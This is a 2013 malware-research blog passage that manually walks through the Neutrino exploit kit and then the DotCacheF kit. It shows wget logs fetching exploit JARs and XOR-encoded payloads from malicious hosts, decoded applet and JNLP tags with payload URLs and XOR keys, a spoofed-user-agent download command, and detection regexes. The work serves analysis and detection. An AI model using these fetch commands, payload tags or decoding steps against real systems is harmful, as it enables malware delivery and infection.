Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_45.jar'

     0K .........                                             100%  110K=0.09s

2013-09-03  (110 KB/s) - `1.6.0_45.jar' saved [9724/9724]

--2013-09-03 05:29:09--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'


2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]


Sweet stuff. We got what we came for.

Now lets see what else is hidden in the cookie JAR of the Neutrino exploit kit.
Lets fetch the JAR files for version 1.6.0_32
To do that we will have to go all the way through the gate again as the kit just responds with 404's for more fetches after we have downloaded the binary. You can not fetch more JAR files after you have fetched one JAR either,without going via the gate

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/naovxqrjjp
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.6.0_32'

     0K                                                        31.4M=0s

2013-09-02 16:17:58 (31.4 MB/s) - `java-tags_1.6.0_32' saved [792]

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/ebqnyztjjsla?ydzvadw=nckympvem
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_32.jar'

     0K .........                                             100% 16.0K=0.6s

2013-09-02 16:22:11 (16.0 KB/s) - `1.6.0_32.jar' saved [9724/9724]


Hmm, we got the same JAR. Could be that one exploit is enough for the Java 1.6 branch or there could be more exploits in one JAR. So one JAR for all 1.6.0_* versions

Lets see whats thrown at us if we come with a 1.7.0_* configured client. To cut it short - one JAR for all 1.7 versions too. u11, u14 and u16 fetched below.

First the answer from the HTTP POST:


E%17%07%12%1E%1F%10G%7C~k%7BsmpJ%07%03%1B%09Y%18%16%0F%17GC%13%18%1B%12-%12%16%1C%10PB%04%1B%08%0C%13JE9%08%01W%1C%19%0E%02%5DZs%7F~k%7BsmE%06%16%10%13
%17D%17%17%1A%07O%5D%0E%17%1A%07%3D%17%17%06%1C%12%13%07%16%5DD%0F%17%1B%17%17GC%292NV%10-%13%1E%12%1A4%0B%19V%15%15%08B%13%29%2AB%2B%1B8%08%1B%1B9%
14%28%3D%08%0C%2C%0DR%1B%1E%3C%2B%1B%3B6%15%134%03B%3C%21%23%11.%3A%27%1CZ%13%17Q%0A%154%20%1D%19%09%2F%1B%27186%07%14%23%02%03%1FO%17%1A5%3E%05%11I%26%15
%2F%0DR%1B77M%01%3E%0B0N%06.%0E%02%01%08%0A%15%23%18%10%5B%3B%17%0CI%12%3F%23D6%1D%40%07.%3A%28%12%3E%17%11%02%3B%40C%100%1CC%291%2B%0F35%26%098%2A%23%15%
03-%0FK%03%06.0G%03%25C%11%29%11%18%281%2B%0F35%26%098%2A%2C%2B%06%13%25%0A%164%120%015%02%08%1D2%14%16%3D%08I%1407Y9%03%12%3C43%190%27%28%1DO%06%1F
%2C%11%231N%1B%22%11%5D%2F%20%2C%01%200%0E%13%0F%24%0F%3E%3EO%0E2%15%15.%3A%27%1C%281%2B%0FA%3AE%0E%07%20%09%40%0F%1554J%05.O%022%15%15.%3A%27%1C%28
1%2B%0FA%15%1A4%08%18W%2F%0F.P%244%1E%19%3D%21%23%11.%3A%27%1C%28%22%3D%0B%15E7%15%1B%2C3%1A-%08B%13%051%24G%016%15%125D%07%0A%16%17%21%0C%15D4%076%
097%151K%0D%07%14O%1C%06%254T%1A%0FN%0A%16%226%0F%2C0%15%04%1B%0E3%0C-1%3B%1D%14%20%0E%01%40%16%12%1B%1CG%0B%3F%29PJ%3D%0E%2B%156%1EM%3D43%190%27%28
%1D%3D%21%26%02%15%20.%3E%05%132.%15%2C%1DR%1B%1B%2C%2BF%14%26%1D%0C%28K%1A85O%16%23%3E%25%12%11-.%0D%17D%20B%19%23%2B%0F%121G%15%06KG%1B5%16%11%1D.
%10%17%10I.%179%1D%05%057%208-5%06J%3EJ%3C%02%06%40%20%16%1A%18%1B%16%16H%0FV%13%2F%28A%20%093%1A%13%0C4N%3E%13G%078%1F%02U%1AE1T%16%17%22%0F%3F%1E%20%
06%233%15%03%2718J%07%17%20%1B%2B%1B%3B%12%29%11%18%281%2B%0F35%26%09J6W3%1A%14PKK%07%148%1B%01%08N%2F%3A%27%1C%281%2B%0F3%260%24%05%19%23%01%1A%13%21C%11
%3E%218%1D%2B5K%0C%18%21C%16%2BH%1C%11%15D%2FK3%0F%0D%0F-1%3B%1D%06%140%038%26J%0D%28.5%15%10%3D2I%3F%1E%20A%1B3%2BF%16%26B%13%29-7%1E%2B5%12%08%18%21%13%
0D%16%3ET%10%3B%23%23%1B%2A%03%16%3C43%190%27%28%1D%3D2%3A8%0C%1A%1B1%16%3B%3DQ%11%14%207K3%08%40%10.%3A0%0D%06%3E%20G%3AA4%1E%1D%1ANP%2B-%1C%09%2C0%24B%2
03%28%1F%3E%2A%28%12%061%20%1B2%210T%1A%18%21%0E%3B%13%25%0F%26%10%0D895%12%3C43%19B%07%3E0%0E%3B%25J%03%1B%1B1%16%28.T%10%2C%2F%0A%1E%23%1D0%11%13%0F4%09
.%23N%2B%1F%3C-%2C%1C5%08%20%3D%5DK%223%28%01%1EU%09%3E9%3A8%1B7%3F%3C%3BC%1E%2F%1D12%18%23%10%26%13%24F%28G%2024G%15P%3B%03%29.%0E%1E0%40%02U%230%1
F%0C%16--%03%25%1AW%22%1B%09%1DE%237%208%14%20%026%1C%12%0C%1B%22%21Q%2B%11%07H8%1B%12%07%2F%0A%15%27%3AP%0AI%3E%3D%3C8%40%28%11%28%1B%03%03%20H%17L
%2F%21%06%13%19V%2B%2F%23%0C%1A%16%06%15%06%18%3B%1C%19%5D%29%25%3E%05%3EP25%26%09895%12%3C%27%2A0%12%07%140%03%2B5O%0C%1B%21%22%5B%3B%14%0C%0B%2C%2F%0
9%1B3%2C%23%1E%15%2A%24%164%2A%3C%0F8A0W0%1F6%14%22%1D%0B35%26%09895%12N%3BP4%0D%07%3E%0E%1B%061K%0F%23.9%08%22%1D%0B35%26%09890%0E%16%0FG%09%07%3DBJEL
pmp%7F~kNU%05%09%06%1B%07%06D

Decoding:

<applet>
      <param name='jnlp_href' value='Kre.jnlp'>
      <param name='jnlp_embedded' value='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KCQkJCQk8am5scCBocmV
mPSJLcmUuam5scCIgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9qYXZhZnguY29tIj4KCQkJCQkJPGluZm9ybWF0aW9uPgoJCQkJCQkJPHRpdGxlPkFwcGxldDwvdGl0bGU+CgkJCQkJCQk8dmVuZ
G9yPk9yYWNsZTwvdmVuZG9yPgoJCQkJCQk8L2luZm9ybWF0aW9uPgoJCQkJCQk8cmVzb3VyY2VzPgoJCQkJCQkJPGoyc2UgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJ
zZSIgdmVyc2lvbj0iMS43KyIgLz4KCQkJCQkJCTxqYXIgaHJlZj0iaHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvZWt0Z3Jud2Zrcnltd2k/eXJ3ZmJldnF4Zj1pZmx1c
3F6dmFvIiBtYWluPSJ0cnVlIiAvPgoJCQkJCQk8L3Jlc291cmNlcz4KCQkJCQkJPGFwcGxldC1kZXNjIG1haW4tY2xhc3M9IktyZSIgbmFtZT0iQXBwbGV0IiB3aWR0aD0iMTAiIGhlaWdodD0iMTAiPgo
JCQkJCQkJPHBhcmFtIG5hbWU9Il9fYXBwbGV0X3Nzdl92YWxpZGF0ZWQiIHZhbHVlPSJ0cnVlIiAvPgoJCQkJCQk8cGFyYW0gbmFtZT0iZXhlYyIgdmFsdWU9ImFIUjBjRG92TDJsd1pHNXJaSFJwY1dKd
GEzQjBjR1J5ZVM1b2IyMWxiR2x1ZFhndWIzSm5Pamd3TURBdmVuTnhhbTV3Ykc1NlpuUnlQM2x3ZDJOb2RuQmtaR2s5YVdac2RYTnhlblpoYnc9PSIgLz4KCQkJCQkJPHBhcmFtIG5hbWU9InhrZXkiIHZ
hbHVlPSJxZ3J3IiAvPgoJCQkJCQk8L2FwcGxldC1kZXNjPgoJCQkJCTwvam5scD4='>

Decoding:

<?xml version="1.0" encoding="utf-8"?>
     <jnlp href="Kre.jnlp" spec="1.0" xmlns:jfx="http://javafx.com">
      <information>
       <title>Applet</title>
       <vendor>Oracle</vendor>
      </information>
      <resources>
       <j2se href="http://java.sun.com/products/autodl/j2se" version="1.7+" />
       <jar href="hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao" main
="true" />
      </resources>
      <applet-desc main-class="Kre" name="Applet" width="10" height="10">
       <param name="__applet_ssv_validated" value="true" />
      <param name="exec" value="aHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvenNxam5wbG56ZnRyP3lw
d2NodnBkZGk9aWZsdXNxenZhbw==" />
      <param name="xkey" value="qgrw" />
      </applet-desc>
     </jnlp>

So the Java 1.7 branch uses jnlp.
Fetching:


-2013-09-02--  hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao
Resolving ipdnkdtiqbmkptpdry.homelinux.org... 94.249.196.115
Connecting to ipdnkdtiqbmkptpdry.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_16.jar'

     0K .........                                             100% 30.9K=0.3s

2013-09-02  (30.9 KB/s) - `1.7.0_16.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //gsojvgunokhgrv.homelinux.org:8000/egsdfpw?yutephlcpugl=muyluxwkui
Resolving gsojvgunokhgrv.homelinux.org... 94.249.196.115
Connecting to gsojvgunokhgrv.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_14.jar'

     0K .........                                             100% 51.0K=0.2s

2013-09-02  (51.0 KB/s) - `1.7.0_14.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //tbyvfuyoeticobvsmlj.homelinux.org:8000/eflkzub?ytozyyp=eoitnyee
Resolving tbyvfuyoeticobvsmlj.homelinux.org... 94.249.196.115
Connecting to tbyvfuyoeticobvsmlj.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_11.jar'

     0K .........                                             100% 62.3K=0.2s

2013-09-02 (62.3 KB/s) - `1.7.0_11.jar' saved [9724/9724]




Now to the mystery of VLC, Silverlight, Office, ODF, SWF and so on. What is hidden:
Here are some of the versions tested:
Clear text and encoded  HTTP POST:


post PDF:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::8,0,0,456;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EHRZYAT%255E%255EC_V_I%2500%2517%251F%250C%255EHP%2518%251C%2501%2508IQM%250F%2501%2505%2501%2502LSW%250A%2507%2506%251ARV_%2503%251F%251F%250A%2506%253B%2506%2503%251B%250CW%255EH%2504%2503%2505%2501_IQ%2504%250C%250C%2508-%251A%251A%2508%2514%2501%2500PLS%2503%2511%251E%2506MRV%2517%251A%2505%2515%2502%251A%2505%2504%250FLSW%250A%2507%2506%251ARV_%2501%2503%251A%251F%2508%2516-%2506%251F%250E%2505%2510HPL%2507%2518%2508%251EQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E

post Flash:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::10,3,183,14;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255ECZZZAUJYZXY_IQ%2507%251C%2504%2507%25195%2502%2500%2500%2501HPL%2507%2518%2508%251EQMR%251F%2501%2513%2506)%2519%2501%2505%250B%250F%2504SW%255E%251C%251F%251A%2505V_I%2519%251E%2506%250E%250F%2505%250B%2500%250CW%255EH%2504%2503%2505%2501_IQ%2505%2500%2501%2512%2517%2518)%2505%2504%2503%251A%251ELSW%250A%2507%2506%251ARV_%2504%2506%2515SW%255E%251C%251F%251A%2505V_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A

post VLC:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::2,0,3;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLS%2503%2511%251E%2506MRV%2512%251E%2509LSWV%255EZZZV_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A

post Silverlight:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::4.1.10111;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLSYJCDGY%255CUCQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E

PS: All these are encoded based on the landing on the top if you want to reproduce it.

Here are the fetch results:

--2013-09-02--  hxxp: //cqowynqjwwgtbed.ham-radio-op.net:8000/nnkboixgotwwk
Resolving cqowynqjwwgtbed.ham-radio-op.net... 94.249.196.115
Connecting to cqowynqjwwgtbed.ham-radio-op.net|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `pdf-1'

     0K                                                        0.00 =0s

2013-09-02  (0.00 B/s) - `pdf-1' saved [0]

--2013-09-01 --  hxxp: //cgudhxvieudmocisb.mine.nu:8000/noaulughyvxd
Resolving cgudhxvieudmocisb.mine.nu... 94.249.196.115
Connecting to cgudhxvieudmocisb.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `silverlight-1'

     0K                                                        0.00 =0s

2013-09-01 (0.00 B/s) - `silverlight-1' saved [0]


--2013-09-01 --  hxxp: //bsovyhrmpfbysdgn.mine.nu:8000/nizhpcdk
Resolving bsovyhrmpfbysdgn.mine.nu... 94.249.196.115
Connecting to bsovyhrmpfbysdgn.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `swf-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `swf-2' saved [0]

--2013-09-01 --  hxxp: //qxihsmncllgyj.selfip.com:8000/nudyitxgn
Resolving qxihsmncllgyj.selfip.com... 94.249.196.115
Connecting to qxihsmncllgyj.selfip.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `vlc-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `vlc-2' saved [0]

Yes 200 OK's from the server the request is accepted :) But what happens? Zero content. OK so it looks like the kit is accepting requests but have nothing to serve us. Lets validate with Java 1.7.0_25.
You get the idea with the encoded HTTP POST now so lets just look at the JAR fetch:


--2013-09-02 --  hxxp: //ekutxbbvwqrnpt.home.dyndns.org:8000/nddangrrqdjblwm
Resolving ekutxbbvwqrnpt.home.dyndns.org... 94.249.196.115
Connecting to ekutxbbvwqrnpt.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.7.0_25'

     0K                                                        0.00 =0s

2013-09-02 (0.00 B/s) - `java-tags_1.7.0_25' saved [0]


HTTP 200 OK with zero content is the behaviour of the Neutrino EK if it has no exploit to serve you with an otherwise OK request. 

5. JARs only

So we have estblished, in opposite, to what I thought that the Neutrino expoloit kit only serve Java exploits. If we look at the advertisement on Neutrino posted over at malware.dontneedcoffee.com 
that was the intial setup, and I guess the author have not incorporated more exploits, as promised. Why send that info into the kit then? I do not know and can only speculate. Could be to collect info on potential new exploits to add or just to waste peoples, like me, time :) Whatever, we now know the entire exploit range of the kit.

6. Sidestep

Ofthen when I look into EKs I mess it up and get frustrated. No exception this time. As I sat last night going through the kit and was about to fetch a JAR I got a 404 I did not expect to see. Crap I thought - did it shut me off???? Not only a HTTP 404 but it redirected to this domain too:

hxxp: //qtqexjfgnmcsp.issmarterthanyou.com:8000/hluqlxpl?gmmqbqknblp=3251988

issmarterthanyou.com -> WTF. I mught be stupid but I'm  not a fool.

Excellent idea for all you exploit kit making guys out there: redirect me to a cool domainname when I screw it up :). The real reason was of course a typo 1.6.0.45 instead of 1.6.0_45 in the User-Agent string. Through me off for a couple of ms there.

7. Back on track

Having covered the expoits lets have a look at the binaries. Over a period of a couple of days I have received 2 different binary files from the kit. All binaries from Neutrino are XORed and need to be decoded before they can be executed.

fetching binaries:
remember this is the param exec from the applet tags received after we POST in our data:


--2013-09-03--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'

     0K .......... .......... .......... .......... .......... 19%  208K 1s
    50K .......... .......... .......... .......... .......... 38%  929K 0s
   100K .......... .......... .......... .......... .......... 57%  682K 0s
   150K .......... .......... .......... .......... .......... 76%  938K 0s
   200K .......... .......... .......... .......... .......... 95% 1.03M 0s
   250K .......... ..                                         100%  766K=0.5s

2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]

Lets have a look at one of them:

000000: 2a30 c3bd 6d64 6a6d 6d63 6a6d 6dc2 98c2  *0..mdjmmcjmm...
0000010: 956d 6dc3 9f6a 6d6d 676a 6d6d 276a 6d6d  .mm..jmmgjmm'jmm
0000020: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
0000030: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
0000040: c28f 6a6d 6d69 75c3 9763 67c3 9e64 c2a0  ..jmmiu..cg..d..
0000050: 46c3 926c 21c2 aa4b 3905 0e19 4d1d 1505  F..l!..K9...M...
0000060: 0a1f 0607 4d0e 0604 0302 134a 0f08 4718  ....M......J..G.
0000070: 1803 4703 034d 2325 3e4d 0a05 0908 4967  ..G..M#%>M....Ig
0000080: 6067 436a 6d6d 676a 6d6d c386 c3a9 c2a4  `gCjmmgjmm......
0000090: c393 c282 c288 c38a c280 c282 c288 c38a  ................
00000a0: c280 c282 c288 c38a c280 c28b c3b0 5fc2  .............._.
00000b0: 80c2 83c2 88c3 8ac2 80c2 8bc3 b049 c280  .............I..
00000c0: c281 c288 c38a c280 c28b c3b0 59c2 80c2  ............Y...
00000d0: a1c2 88c3 8ac2 80c2 82c2 88c3 8bc2 803b  ...............;
00000e0: c288 c38a c280 c299 1565 c280 c285 c288  .........e......
00000f0: c38a c280 c299 1551 c280 c283 c288 c38a  .......Q........
0000100: c280 c299 1550 c280 c283 c288 c38a c280  .....P..........
0000110: c299 1557 c280 c283 c288 c38a c280 3503  ...W..........5.
0000120: 0e05 c282 c288 c38a c280 676a 6d6d 676a  ..........gjmmgj
0000130: 6d6d 676a 6d6d 676a 6d6d 372f 6d6d 2b6b  mmgjmmgjmm7/mm+k

Looks like we do not have an exe file, and we can spot a pettern indicating it is xored. Luckily we have the XOR key from the applet tags we downloaded. The xor key changes quite often but is stuck on 4 byte. Here are some samples:

<param name='xkey' value='lspw'>
<param name='xkey' value='gjmm'>
<param name="xkey" value="qgrw">

The XOR scheme has been the same for Neutrino for a long time. And using my python script made in a previous analysis will give you the correct exe.


0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c3a8 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 c2a1 c283 c389  ..$.............
0000090: c2be c3a5 c3a2 c2a7 c3ad c3a5 c3a2 c2a7  ................
00000a0: c3ad c3a5 c3a2 c2a7 c3ad c3ac c29a 32c3  ..............2.
00000b0: adc3 a4c3 a2c2 a7c3 adc3 acc2 9a24 c3ad  .............$..
>

8. Detection

For those interested in network detection
landing: /h[a-z0-9]{1,16}\?g[a-z0-9]{1,12}=[0-9]{6,7}$
JAR: /e[a-z0-9]{1,11}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /z[a-z0-9]{1,16}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

The first char change frequently though so you have to hunt the kit to make sure you are covered. www.malwaresigs.com have less specific patterns.

9. Epilogue

The new stuff uncovered, at least for me, is that we have confirmed that Neutrino only has Java exploits. In addition the DGA/TDS have changed, the small static parts of the URL's for EXE and JAR download keep on changing. Otherwise this is the same old EK we know. Todo: look into the 0-Day JAR to verify it is the 0-day reported by others and to see if there is one or more exploits in the JARs.

Update 2013-09-06:

Having looked at the JARs in more detail. They are all the same for Java 1.6 and 1.7. As far as I can figure out they are all exploting the CVE-2013-2463 (all java 1.6 and < Java 1.7.0_25). The only good reference on this is from packetstorm, but looking at the code there makes me pretty sure thats where this code originates from :) Thank U to the Packetstorm bounty program!




And here is the usual Neutrino base64 decode of malware url, fetch the binary, XOR the binary, write to temp file and exec:




Good places to look for info on neutrino:
@kafein - malware.dontneedcoffee.comHave a great overview of advertisement, exploits and changes.
@malwaresigs - www.malwaresigs.com will help you detect this bad stuff.
@MalwareMustDie - malwaremustdie.blogspot.com have also had an encounter with neutrino

Happy Neutrino EK JAR and EXE manual fetching :)

Thursday, August 22, 2013

DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937.  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
  <information>
    <title>Applet Test JNLP</title>
    <vendor>atom</vendor>
    <description>atom</description>
    <offline-allowed/>
  </information>
  <resources>
    <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
    <jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
  </resources>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
  </applet-desc>
  <update check="background"/>
</jnlp>


Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:
 aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg==

Decoded:
hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442

Lets fetch it the malware:
wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
